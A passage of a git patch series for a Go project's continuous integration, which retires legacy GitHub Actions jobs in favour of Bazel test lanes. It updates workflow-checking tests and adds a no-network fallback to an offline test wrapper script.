must succeed even when nothing else needs it. - for _, res := range []string{"failure", "cancelled", "skipped"} { - r := results(false, "success", coveredAll("false")) - r[prRiskCoverageJobName] = res - scenarios = append(scenarios, prRiskGateScenario{"docs-only, decision " + res, r, outputs(false, coveredAll("")), false, prRiskCoverageGateID}) } - for _, sc := range scenarios { - t.Run(sc.name, func(t *testing.T) { - pass, out := runPRRiskGateStep(t, step, sc) - if pass != sc.wantPass { - t.Errorf("gate pass = %v, want %v (results %v, outputs %v)\n%s", pass, sc.wantPass, sc.results, sc.outputs, out) + // Remote, but one gated lane failed, was cancelled or reported nothing: + // red, naming that lane. + for lane, id := range bazelLaneGateIDs { + for _, mode := range []string{"remote", "fork-ro"} { + for _, res := range []string{"failure", "cancelled", ""} { + sc := prGateFor(t, lanes, "pull_request", mode) + sc.outputs[lane] = res + if pass, log := runPRGateStep(t, gateStep, sc); pass || !regexp.MustCompile(`::error::`+id+`\b`).MatchString(log) { + t.Errorf("mode %s, lane %s %q: gate pass = %v, want red naming %s\n%s", mode, lane, res, pass, id, log) + } } - if !sc.wantPass && sc.wantMention != "" && !regexp.MustCompile(`::error::`+sc.wantMention+`\b`).MatchString(out) { - t.Errorf("red gate does not name %s:\n%s", sc.wantMention, out) - } - }) + } } -} - -// retiredJobNames: the retired legacy test jobs, sorted. -func retiredJobNames() []string { - var out []string - for name := range retiredJobs() { - out = append(out, name) + // A mode that executed nothing remotely is red even if every lane + // somehow reported success. + for _, mode := range []string{"skip", "local", "cache"} { + sc := prGateFor(t, lanes, "pull_request", mode) + for lane := range bazelLaneGateIDs { + sc.outputs[lane] = "success" + } + if pass, log := runPRGateStep(t, gateStep, sc); pass || !strings.Contains(log, "::error::"+bazelRemoteGateID) { + t.Errorf("mode %s, every lane reported success: gate pass = %v, want red naming %s\n%s", mode, pass, bazelRemoteGateID, log) + } } - sort.Strings(out) - return out } func copyMap(m map[string]string) map[string]string { @@ -1084,39 +301,31 @@ func copyMap(m map[string]string) map[string]string { return out } -// Review F5 (D2 step 1; step 2 for the proxied and server lanes): each -// retired tier's Bazel lane checks, after the run, that every Bazel shard of -// its manifest-sharded targets ran exactly the tests its PR Risk shard script -// lists, for the targets and shard counts of the legacy jobs, and that its -// unsharded targets did not only skip. +// Review F5: each manifest-sharded Bazel lane (embedded, proxied, server +// storage) checks, after the run, that every Bazel shard of its +// manifest-sharded targets ran exactly the tests its shard script lists, for +// the targets' own BUILD.bazel shard counts, and that its unsharded targets +// did not only skip. These lanes are the tiers' only run since PR Risk's +// legacy jobs were retired (ga-96smfk.22), so the check is what stands +// between a manifest drift and a test silently never running. func TestBazelRetiredLanesCheckListedTestsRan(t *testing.T) { - risk := readCIWorkflow(t, prRiskWorkflowName) type suite struct { job, step, label, script string - // shardCount overrides the expected check_shard_coverage.py shard - // count for this suite when the Bazel lane's own manifest block runs - // a different number of shards than this PR Risk job's matrix. Zero - // means "same as this suite's PR Risk job matrix size" (the common - // case for a lane that is a drop-in retirement of the legacy job). - // -1 means "read this suite's label's own shard_count live from its - // BUILD.bazel rule", via the liveShardCount dispatch table below - // (bazelProxiedShardCount, bazelEmbeddedCmdShardCount, - // bazelEmbeddedStorageShardCount); only a label present in that - // table may use -1 (enforced below), so copying this onto another - // suite needs a reviewed change there. + // shardCount: -1 reads the label's own shard_count live from its + // BUILD.bazel rule, via the liveShardCount dispatch table below; + // only a label present in that table may use it (enforced below). shardCount int } // liveShardCount dispatches a suite's -1 shardCount to the accessor that // reads its target's own shard_count from its BUILD.bazel rule — the - // single source of truth for a Bazel-only lane's shard split, which no - // longer has to equal the retired PR Risk job's matrix size (F2's - // bd_proxied_test; F1's bd_embedded_test and - // embeddeddolt_embedded_test). See bazelProxiedShardCount's doc comment - // (scripts/ci_workflow_test.go) for the shared rationale. + // single source of truth for a lane's shard split. See + // bazelProxiedShardCount's doc comment (scripts/ci_workflow_test.go) for + // the shared rationale. liveShardCount := map[string]func(*testing.T) int{ "//cmd/bd:bd_proxied_test": bazelProxiedShardCount, "//cmd/bd:bd_embedded_test": bazelEmbeddedCmdShardCount, "//internal/storage/embeddeddolt:embeddeddolt_embedded_test": bazelEmbeddedStorageShardCount, + "//internal/storage/dolt:dolt_server_full_test": bazelServerFullShardCount, } for _, c := range []struct { lane, config string @@ -1151,7 +360,7 @@ func TestBazelRetiredLanesCheckListedTestsRan(t *testing.T) { {"test-proxied-cmd", "Test proxied-server cmd shard", "//cmd/bd:bd_proxied_test", ".github/scripts/proxied-test-shard.sh", -1}, }, nil}, {bazelServerJobName, "doltserver-integration", []suite{ - {"test-server-storage-full", "Test", "//internal/storage/dolt:dolt_server_full_test", ".github/scripts/server-storage-test-shard.sh", 0}, + {"test-server-storage-full", "Test", "//internal/storage/dolt:dolt_server_full_test", ".github/scripts/server-storage-test-shard.sh", -1}, }, []string{"//internal/storage/dolt:dolt_server_conformance_test"}}, } { job := readCIWorkflow(t, bazelWorkflowName).job(t, c.lane) @@ -1159,18 +368,12 @@ func TestBazelRetiredLanesCheckListedTestsRan(t *testing.T) { want := []string{"python3 tools/bazel/check_shard_coverage.py", `--bep "$RUNNER_TEMP/bazel-bep.json"`} for _, s := range c.suites { shards := s.shardCount - switch { - case shards < 0: + if shards < 0 { fn, ok := liveShardCount[s.label] if !ok { t.Fatalf("%s: shardCount<0 (read live from BUILD.bazel) is not configured for %s", s.job, s.label) } shards = fn(t) - case shards == 0: - shards = len(risk.job(t, s.job).Strategy.Matrix.Shard) - } - if !strings.Contains(risk.job(t, s.job).step(t, s.step).Run, s.script) { - t.Errorf("pr-risk.yml %s no longer runs %s; update this suite", s.job, s.script) } want = append(want, fmt.Sprintf("--suite %s %s %d", s.label, s.script, shards)) } @@ -1188,15 +391,6 @@ func TestBazelRetiredLanesCheckListedTestsRan(t *testing.T) { t.Errorf("%s coverage step must run after the test step and before the result recorder", c.lane) } } - // The legacy conformance partitions the --whole targets stand for. - for _, partition := range []string{"core", "audit"} { - if risk.job(t, "test-embedded-conformance").step(t, "Test "+partition+" conformance").Run == "" { - t.Errorf("pr-risk.yml test-embedded-conformance has no %s partition; update this check", partition) - } - } - if !strings.Contains(risk.job(t, "test-server-storage").step(t, "Test").Run, "-test.run '^TestConformance$'") { - t.Errorf("pr-risk.yml test-server-storage no longer runs ^TestConformance$; update this check") - } } // check_shard_coverage.py itself, on a synthetic BEP, test.xml files and @@ -1377,7 +571,6 @@ func TestShardScriptsListOnlyRealTests(t *testing.T) { for _, q := range regexp.MustCompile(`"([^"]+)"`).FindAllStringSubmatch(m[1], -1) { notTests[q[1]] = true } - risk := readCIWorkflow(t, prRiskWorkflowName) for _, c := range []struct{ job, script, pkg string }{ {"test-embedded-cmd", ".github/scripts/embedded-test-shard.sh", "cmd/bd"}, {"test-embedded-storage", ".github/scripts/embedded-storage-test-shard.sh", "internal/storage/embeddeddolt"}, @@ -1417,7 +610,7 @@ func TestShardScriptsListOnlyRealTests(t *testing.T) { if mm == nil { t.Fatalf("%s has no ${BEADS_TEST_SHARD_MANIFEST:-...} default manifest", c.script) } - totalsSet := map[int]bool{len(risk.job(t, c.job).Strategy.Matrix.Shard): true} + totalsSet := map[int]bool{} for _, line := range strings.Split(readPolicyFile(t, root, mm[1]), "\n") { line, _, _ = strings.Cut(line, "#") fields := strings.Fields(line) @@ -1443,6 +636,8 @@ func TestShardScriptsListOnlyRealTests(t *testing.T) { case ".github/scripts/embedded-storage-test-shard.sh": // F1: mirrors the cmd case above for the 15-shard storage block. totalsSet[bazelEmbeddedStorageShardCount(t)] = true + case ".github/scripts/server-storage-test-shard.sh": + totalsSet[bazelServerFullShardCount(t)] = true } totals := make([]int, 0, len(totalsSet)) for n := range totalsSet { @@ -1555,7 +750,7 @@ func TestProxiedShardManifestGeneratorNotStale(t *testing.T) { // server-storage) are those tiers' only pre-merge run on same-repo PRs, so // nothing that reaches them may narrow them (select fewer tests, or turn // them into skips) without a reviewed edit of this test. -// TestBazelEmbeddedJobMirrorsEmbeddedTier and TestBazelRetiredLanesArePinned +// TestBazelEmbeddedJobRunsEmbeddedTier and TestBazelRetiredLanesArePinned // pin the command lines and each lane config's lines; this covers // everything else that applies to the lanes: every other .bazelrc line of a // config a lane uses (the unconfigured ones, remote-exec and fork-cache, diff --git a/scripts/pull_dolt_image_test.go b/scripts/pull_dolt_image_test.go index b4d1f1a92..d907c8f9a 100644 --- a/scripts/pull_dolt_image_test.go +++ b/scripts/pull_dolt_image_test.go @@ -53,12 +53,11 @@ func TestPullDoltImageRetriesTransientFailures(t *testing.T) { } func TestDoltImagePullWorkflowsUseRetryHelper(t *testing.T) { - // Only pr-risk.yml's legacy container-backed tiers pull the image; every - // pr.yml and bazel.yml Dolt suite runs on hermetic dolt sql-servers - // (the dolt-server lanes) and needs no docker. - wantCalls := map[string]int{ - "pr-risk.yml": 3, - } + // No workflow pulls the image: every Dolt suite runs on hermetic dolt + // sql-servers (bazel.yml's dolt-server lanes) and needs no docker, since + // pr-risk.yml's container-backed legacy tiers were retired + // (ga-96smfk.22). The helper stays for local container-backed runs. + wantCalls := map[string]int{} workflowsDir := filepath.Join(sourceRepoRoot(t), ".github", "workflows") workflowPaths, err := filepath.Glob(filepath.Join(workflowsDir, "*.y*ml")) From b4831e7250855c503754e97dad03f603e857fab9 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 7 Oct 2026 10:04:40 +0000 Subject: [PATCH 040/213] ci(bazel): go_test_offline runs on the fork tier, where actions are already offline (#7359) bd_managed_local_test (#7326) fails on every fork PR's proxied lane: the rbe-west fork tier forbids nested namespaces, so unshare exits with ENOSPC, but that tier already runs every action loopback only. When unshare is unavailable, run the binary directly after the same outbound probe proves the network is absent; a host with network and no namespaces still fails. Co-authored-by: Claude Opus 5.5 (1M context) --- tools/bazel/go_test_offline.sh | 15 +++++++++++++++ 1 file changed, 15 insertions(+) diff --git a/tools/bazel/go_test_offline.sh b/tools/bazel/go_test_offline.sh index b0718fe52..726cb053c 100755 --- a/tools/bazel/go_test_offline.sh +++ b/tools/bazel/go_test_offline.sh @@ -8,8 +8,23 @@ # code under test needs no outbound network. The workers allow unprivileged # user namespaces; a host that does not fails here rather than running the # test with the network it is meant to be without. +# +# The rbe-west fork tier forbids nested namespaces (unshare fails with ENOSPC) +# but already runs every action loopback only. There, and anywhere else +# unshare is unavailable, the binary runs as is, but only after the same +# outbound probe proves the network is absent; a host with network and no +# namespaces still fails. set -euo pipefail export GO_TEST_RUN_FROM_BAZEL=1 +if ! unshare --user --map-root-user --net -- true 2>/dev/null; then + if timeout 3 bash -c "exec 3<>/dev/tcp/1.1.1.1/443" 2>/dev/null; then + echo "go_test_offline: no network namespace available (unshare failed) and outbound network is reachable" >&2 + exit 1 + fi + bin="$1" + shift + exec "./$bin" "$@" +fi exec unshare --user --map-root-user --net -- bash -euc ' ip link set lo up # Prove the namespace really has no outbound network before trusting From 9d13485b719fd389e3f6bd900261f45622a705f8 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 7 Oct 2026 10:06:59 +0000 Subject: [PATCH 041/213] ci(bazel): retire main.yml's Linux jobs, nightly's go test jobs and ci-measurements (#7354) Push to main and the nightly schedule no longer run go test or repo checks on GitHub runners (ga-96smfk.22, ga-96smfk.58): - main.yml keeps only the macOS -race -short suite, the Windows smoke build and the push-to-main savers of the GOCACHEs pr.yml's Windows/macOS jobs restore. Its Linux jobs (migration hygiene, build artifacts, build tags, versions, duplicate migrations, doc flags, package gates, PR policy wrapper, gofmt, the Linux and setup-go cache seeders, the Nix flake check) are gated on the merge queue's pr.yml/pr-risk.yml run of the same commit and re-run as Bazel targets by bazel.yml's push run. - nightly.yml is the fresh bazel.yml call plus the worker-env check; its Full Test Suite, PR Core go-test-json side and measure dispatch are gone, as are ci-measurements.yml and bazel.yml's go-test-json-artifact input. - The non-race embedded batch-apply step becomes //internal/storage/embeddeddolt:embeddeddolt_batch_apply_nonrace_test (go_test_race_off, BEADS_TEST_EMBEDDED_DOLT=1) in the embedded tier. - make ci-pr-policy and scripts/ci/pr-policy.sh go: every check it ran is a Bazel test (TestPRPolicyChecksRunAsBazelTargets). Co-authored-by: Claude Opus 5.5 (1M context) --- .bazelrc | 7 +- .github/workflows/bazel.yml | 26 +- .github/workflows/ci-measurements.yml | 763 ------------------ .github/workflows/main.yml | 631 +-------------- .github/workflows/nightly.yml | 197 +---- Makefile | 11 +- RELEASING.md | 18 +- cmd/bd/BUILD.bazel | 3 +- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 29 +- engdocs/TESTING.md | 2 +- internal/storage/dolt/BUILD.bazel | 2 +- internal/storage/embeddeddolt/BUILD.bazel | 44 + .../create_batch_equivalence_test.go | 4 +- .../large_batch_apply_measure_test.go | 16 +- scripts/README.md | 4 +- scripts/bazel_policy_test.go | 28 +- scripts/check-workapi-frontend-boundary.sh | 3 +- scripts/ci/pr-core.sh | 4 +- scripts/ci/pr-policy.sh | 90 --- scripts/ci/warm-non-race-cache.sh | 3 - scripts/ci_f7b_review_test.go | 61 +- scripts/ci_f7c_advisory_test.go | 315 +------- scripts/ci_workflow_test.go | 200 ++--- scripts/generate-cli-docs.sh | 2 +- scripts/pr_lanes_bazel_coverage_test.go | 22 +- scripts/pr_risk_bazel_coverage_test.go | 6 + scripts/repochecks/BUILD.bazel | 3 +- scripts/workflowtags/workflowtags.go | 2 +- scripts/workflowtags/workflowtags_test.go | 4 +- 29 files changed, 270 insertions(+), 2230 deletions(-) delete mode 100644 .github/workflows/ci-measurements.yml delete mode 100755 scripts/ci/pr-policy.sh diff --git a/.bazelrc b/.bazelrc index 497eacc70..63d000368 100644 --- a/.bazelrc +++ b/.bazelrc @@ -199,8 +199,7 @@ test:doltserver-integration --experimental_remote_cache_eviction_retries=0 # cmd/bd Dolt-server tier: //cmd/bd:bd_dolt_server_test (dolt-server-cmd # tag), the whole integration-tagged cmd/bd suite against a hermetic dolt # sql-server, i.e. the Dolt-gated cmd/bd tests every other lane skips -# (BEADS_TEST_SKIP=dolt in --config=prcore/ci and --config=integration, and -# in nightly.yml's go test job), and //tests/regression:regression_test +# (BEADS_TEST_SKIP=dolt in --config=prcore/ci and --config=integration), and //tests/regression:regression_test # (the differential regression suite, formerly regression.yml, against the # catalog-pinned baseline in @bd_releases). The build flags are exactly # --config=integration's, so it compiles nothing bazel-integration does not @@ -227,8 +226,8 @@ test:doltserver-cmd --local_test_jobs=4 test:doltserver-cmd --remote_download_regex=.*/test\.(log|xml)$ # Integration lane: the `go test` main.yml's former "Main Linux integration" -# jobs ran on push (this lane replaced them; nightly.yml's Full Test Suite -# still runs the same `go test` over ./... in one job): every package +# jobs ran on push (this lane replaced them, and nightly.yml's retired Full +# Test Suite, which ran the same `go test` over ./... in one job): every package # built with -tags=integration,gms_pure_go, race, no -short, no -skip, # BEADS_TEST_SKIP=dolt. The tag is set for the whole build, as `go test -tags` # does, not per target: gazelle generates srcs/deps with integration files diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index 8d5f90aab..fbf8f2fef 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -209,14 +209,6 @@ on: type: boolean required: false default: true - go-test-json-artifact: - description: > - Artifact (from the calling run) holding go-test.json, PR Core's - `go-test -json` on this commit; enables the equivalence skip-parity - check. nightly.yml sets it. - type: string - required: false - default: "" # A string, not a boolean: on push and dispatch inputs.integration is # null, and null == false in GitHub's loose comparison, so a boolean # test would silently stop the lane on main. @@ -815,18 +807,8 @@ jobs: python3 tools/bazel/critpath.py "$RUNNER_TEMP/bazel-profile.json" \ --tier "$TIER" --log "$RUNNER_TEMP/bazel-test.log" "${budget[@]}" - # nightly.yml's PR Core `go test -json` on the same commit. - - name: Download go-test results - if: ${{ always() && inputs.go-test-json-artifact != '' && steps.test.outcome != 'skipped' }} - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8 - with: - name: ${{ inputs.go-test-json-artifact }} - path: ${{ runner.temp }}/go-test-json - # Fails on any Go test that `go test` runs and Bazel did not (tag filter, - # manual, missing target, empty shard) unless it is allowlisted. With - # go test results (nightly) it also fails on tests that passed under go - # test and were skipped under Bazel; a PR run cannot see those. + # manual, missing target, empty shard) unless it is allowlisted. # It reads test.xml from bazel-testlogs, which --config=integration # shares with --config=ci (same output directory): if a job ever runs # both lanes, run each lane's equivalence right after its own @@ -836,11 +818,9 @@ jobs: timeout-minutes: 15 env: DETAILS: ${{ inputs.details && '--details' || '' }} - GO_TEST_JSON: ${{ inputs.go-test-json-artifact != '' && format('{0}/go-test-json/go-test.json', runner.temp) || '' }} run: | args=() if [ -n "$DETAILS" ]; then args+=("$DETAILS"); fi - if [ -n "$GO_TEST_JSON" ]; then args+=(--go-test-json "$GO_TEST_JSON"); fi python3 tools/bazel/equivalence.py --bep "$RUNNER_TEMP/bazel-bep.json" "${args[@]}" # Runs last: it rewrites BUILD files in the checkout. main moves BUILD @@ -1370,8 +1350,8 @@ jobs: run: echo "result=$JOB_STATUS" >> "$GITHUB_OUTPUT" # main.yml's "Main Linux integration packages (N/6)" and "Main Linux - # integration cmd/bd (N/8)" jobs (nightly.yml's Full Test Suite runs the - # same go test in one job) as --config=integration: every package with + # integration cmd/bd (N/8)" jobs (and nightly.yml's retired Full Test + # Suite, the same go test in one job) as --config=integration: every package with # -tags=integration,gms_pure_go, race, no -short, BEADS_TEST_SKIP=dolt (see # .bazelrc). A job of its own: ci and integration share bazel-testlogs, so # bazel-test's equivalence step would read this lane's test.xml if both ran diff --git a/.github/workflows/ci-measurements.yml b/.github/workflows/ci-measurements.yml deleted file mode 100644 index e2278bd22..000000000 --- a/.github/workflows/ci-measurements.yml +++ /dev/null @@ -1,763 +0,0 @@ -name: CI Measurements - -on: - workflow_call: - inputs: - suite: - description: "Suite to measure" - required: true - type: string - smoke_version: - description: "Optional previous release for cross-version-smoke" - required: false - type: string - default: "" - workflow_dispatch: - inputs: - suite: - description: "Suite to measure" - required: true - type: choice - default: pr-linux - options: - - pr-linux - - macos-short - - macos-candidates - - linux-integration - - linux-integration-sharded - - linux-integration-hybrid-sharded - - linux-integration-hybrid-16-sharded - - linux-integration-hybrid-prebuilt-sharded - - linux-integration-coverage - - cross-version-smoke - - nix - - mcp-package - - npm-package - smoke_version: - description: "Optional previous release for cross-version-smoke" - required: false - default: "" - -permissions: - contents: read - -concurrency: - group: ${{ github.workflow }}-${{ github.ref }}-${{ inputs.suite }} - cancel-in-progress: false - -env: - BD_DISABLE_METRICS: "1" - BD_DISABLE_EVENT_FLUSH: "1" - -jobs: - pr-linux: - name: Measure PR Linux commands - if: ${{ inputs.suite == 'pr-linux' }} - runs-on: ubuntu-latest - timeout-minutes: 30 - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - with: - fetch-depth: 0 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - - - name: Install Dolt - run: ./scripts/ci/install-dolt.sh - - - name: Configure Git and Dolt identity - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - dolt config --global --add user.name "CI Bot" - dolt config --global --add user.email "ci@beads.test" - - - name: Measure commands - run: | - set -euo pipefail - mkdir -p artifacts - source scripts/ci/lib/timing.sh - source ./.buildflags - - ci_time "install gotestsum" -- go install gotest.tools/gotestsum@v1.13.0 - status=0 - ci_time "pr-policy wrapper" -- make ci-pr-policy || status=$? - # -timeout=30m keeps this in step with the lane it measures - # (scripts/ci/pr-core.sh). Without it ./cmd/bd can die on `go test`'s - # 10m default and the measurement reports a panic instead of a duration. - ci_time "pr-core gotestsum" -- gotestsum --junitfile artifacts/pr-core-junit.xml --format testdox -- -race -short -timeout=30m -skip '^TestEmbedded' ./... || status=$? - exit "$status" - - - name: Upload measurement artifacts - if: always() - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 - with: - name: ci-measure-pr-linux - path: artifacts/ - retention-days: 7 - if-no-files-found: ignore - - macos-short: - name: Measure macOS short Go tests - if: ${{ inputs.suite == 'macos-short' }} - runs-on: macos-latest - timeout-minutes: 30 - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - - - name: Install Dolt - run: ./scripts/ci/install-dolt.sh - - - name: Configure Git and Dolt identity - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - dolt config --global --add user.name "CI Bot" - dolt config --global --add user.email "ci@beads.test" - - - name: Measure commands - run: | - set -euo pipefail - source scripts/ci/lib/timing.sh - source ./.buildflags - - # -timeout=30m matches the macOS lanes this measures (pr.yml, main.yml). - # This is the job that produced the ./cmd/bd duration distribution, and - # at 10m it clips its own longest samples into timeout panics. - ci_time "macos short go test" -- go test -tags=gms_pure_go -v -race -short -timeout=30m -skip '^TestEmbedded' ./... - - macos-candidates: - name: Measure macOS no-short candidates - if: ${{ inputs.suite == 'macos-candidates' }} - runs-on: macos-latest - timeout-minutes: 60 - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - - - name: Install Dolt - run: ./scripts/ci/install-dolt.sh - - - name: Configure Git and Dolt identity - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - dolt config --global --add user.name "CI Bot" - dolt config --global --add user.email "ci@beads.test" - - - name: Measure commands - run: | - set -euo pipefail - source scripts/ci/lib/timing.sh - - status=0 - ci_time "macos no-short go test" -- go test -tags=gms_pure_go -v -race -timeout=30m -skip '^TestEmbedded' ./... || status=$? - ci_time "macos integration go test" -- go test -tags=integration,gms_pure_go -v -race -timeout=30m -skip '^TestEmbedded' ./... || status=$? - exit "$status" - - linux-integration: - name: Measure Linux integration tests - if: ${{ inputs.suite == 'linux-integration' }} - runs-on: ubuntu-latest - timeout-minutes: 45 - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - - - name: Install Dolt - run: ./scripts/ci/install-dolt.sh - - - name: Configure Git and Dolt identity - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - dolt config --global --add user.name "CI Bot" - dolt config --global --add user.email "ci@beads.test" - - - name: Measure commands - run: | - set -euo pipefail - mkdir -p artifacts - source scripts/ci/lib/timing.sh - - ci_time "install gotestsum" -- go install gotest.tools/gotestsum@v1.13.0 - ci_time "linux integration go test" -- env BEADS_TEST_SKIP=dolt gotestsum --junitfile artifacts/linux-integration-junit.xml --format testdox -- -v -race -tags=integration,gms_pure_go -timeout=30m ./... - - - name: Upload measurement artifacts - if: always() - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 - with: - name: ci-measure-linux-integration - path: artifacts/ - retention-days: 7 - if-no-files-found: ignore - - linux-integration-sharded: - name: Measure Linux integration shard ${{ matrix.shard }}/6 - if: ${{ inputs.suite == 'linux-integration-sharded' }} - runs-on: ubuntu-latest - timeout-minutes: 30 - strategy: - fail-fast: false - matrix: - shard: [1, 2, 3, 4, 5, 6] - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - - - name: Install Dolt - run: ./scripts/ci/install-dolt.sh - - - name: Configure Git and Dolt identity - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - dolt config --global --add user.name "CI Bot" - dolt config --global --add user.email "ci@beads.test" - - - name: Measure shard - env: - SHARD: ${{ matrix.shard }} - TOTAL_SHARDS: 6 - run: | - set -euo pipefail - mkdir -p artifacts - source scripts/ci/lib/timing.sh - - ci_time "install gotestsum" -- go install gotest.tools/gotestsum@v1.13.0 - - mapfile -t packages < <( - GO_TEST_SHARD_TAGS=integration,gms_pure_go \ - scripts/ci/go-test-shard-packages.sh "$SHARD" "$TOTAL_SHARDS" - ) - package_manifest="artifacts/linux-integration-packages-${SHARD}-of-${TOTAL_SHARDS}.txt" - printf '%s\n' "${packages[@]}" | tee "$package_manifest" - - if [[ "${#packages[@]}" -eq 0 ]]; then - echo "No packages assigned to shard ${SHARD}/${TOTAL_SHARDS}; skipping go test" - exit 0 - fi - - ci_time "linux integration shard ${SHARD}/${TOTAL_SHARDS} go test" -- \ - env BEADS_TEST_SKIP=dolt gotestsum \ - --junitfile "artifacts/linux-integration-shard-${SHARD}-of-${TOTAL_SHARDS}.xml" \ - --format testdox \ - -- -v -race -tags=integration,gms_pure_go -timeout=30m "${packages[@]}" - - - name: Upload measurement artifacts - if: always() - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 - with: - name: ci-measure-linux-integration-shard-${{ matrix.shard }}-of-6 - path: artifacts/ - retention-days: 7 - if-no-files-found: ignore - - linux-integration-hybrid-packages: - name: Measure Linux integration package shard ${{ matrix.shard }}/6 (no cmd/bd) - if: ${{ inputs.suite == 'linux-integration-hybrid-sharded' || inputs.suite == 'linux-integration-hybrid-16-sharded' || inputs.suite == 'linux-integration-hybrid-prebuilt-sharded' }} - runs-on: ubuntu-latest - timeout-minutes: 30 - strategy: - fail-fast: false - matrix: - shard: [1, 2, 3, 4, 5, 6] - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - - - name: Install Dolt - run: ./scripts/ci/install-dolt.sh - - - name: Configure Git and Dolt identity - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - dolt config --global --add user.name "CI Bot" - dolt config --global --add user.email "ci@beads.test" - - - name: Measure shard - env: - SHARD: ${{ matrix.shard }} - TOTAL_SHARDS: 6 - run: | - set -euo pipefail - mkdir -p artifacts - source scripts/ci/lib/timing.sh - - ci_time "install gotestsum" -- go install gotest.tools/gotestsum@v1.13.0 - - package_manifest="artifacts/linux-integration-hybrid-packages-${SHARD}-of-${TOTAL_SHARDS}.txt" - write_package_manifest() { - GO_TEST_SHARD_TAGS=integration,gms_pure_go \ - GO_TEST_SHARD_EXCLUDE_REGEX="^github.com/steveyegge/beads/cmd/bd$" \ - scripts/ci/go-test-shard-packages.sh "$SHARD" "$TOTAL_SHARDS" > "$package_manifest" - } - ci_time "list integration package shard ${SHARD}/${TOTAL_SHARDS}" -- write_package_manifest - cat "$package_manifest" - mapfile -t packages < "$package_manifest" - - if [[ "${#packages[@]}" -eq 0 ]]; then - echo "No packages assigned to shard ${SHARD}/${TOTAL_SHARDS}; skipping go test" - exit 0 - fi - - ci_time "linux integration package shard ${SHARD}/${TOTAL_SHARDS} go test" -- \ - env BEADS_TEST_SKIP=dolt gotestsum \ - --junitfile "artifacts/linux-integration-hybrid-packages-${SHARD}-of-${TOTAL_SHARDS}.xml" \ - --format testdox \ - -- -v -race -tags=integration,gms_pure_go -timeout=30m "${packages[@]}" - - - name: Upload measurement artifacts - if: always() - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 - with: - name: ci-measure-linux-integration-hybrid-packages-${{ matrix.shard }}-of-6 - path: artifacts/ - retention-days: 7 - if-no-files-found: ignore - - linux-integration-hybrid-cmd-bd: - name: Measure Linux integration cmd/bd shard ${{ matrix.shard }}/8 - if: ${{ inputs.suite == 'linux-integration-hybrid-sharded' }} - runs-on: ubuntu-latest - timeout-minutes: 30 - strategy: - fail-fast: false - matrix: - shard: [1, 2, 3, 4, 5, 6, 7, 8] - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - - - name: Install Dolt - run: ./scripts/ci/install-dolt.sh - - - name: Configure Git and Dolt identity - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - dolt config --global --add user.name "CI Bot" - dolt config --global --add user.email "ci@beads.test" - - - name: Measure shard - env: - SHARD: ${{ matrix.shard }} - TOTAL_SHARDS: 8 - run: | - set -euo pipefail - mkdir -p artifacts - source scripts/ci/lib/timing.sh - - ci_time "install gotestsum" -- go install gotest.tools/gotestsum@v1.13.0 - - test_manifest="artifacts/linux-integration-cmd-bd-tests-${SHARD}-of-${TOTAL_SHARDS}.txt" - write_test_manifest() { - GO_TEST_SHARD_TAGS=integration,gms_pure_go \ - scripts/ci/go-test-shard-names.sh "$SHARD" "$TOTAL_SHARDS" ./cmd/bd > "$test_manifest" - } - ci_time "list cmd/bd test shard ${SHARD}/${TOTAL_SHARDS}" -- write_test_manifest - cat "$test_manifest" - mapfile -t tests < "$test_manifest" - - if [[ "${#tests[@]}" -eq 0 ]]; then - echo "No tests assigned to shard ${SHARD}/${TOTAL_SHARDS}; skipping go test" - exit 0 - fi - - run_regex="^($(IFS='|'; echo "${tests[*]}"))$" - ci_time "linux integration cmd/bd shard ${SHARD}/${TOTAL_SHARDS} go test" -- \ - env BEADS_TEST_SKIP=dolt gotestsum \ - --junitfile 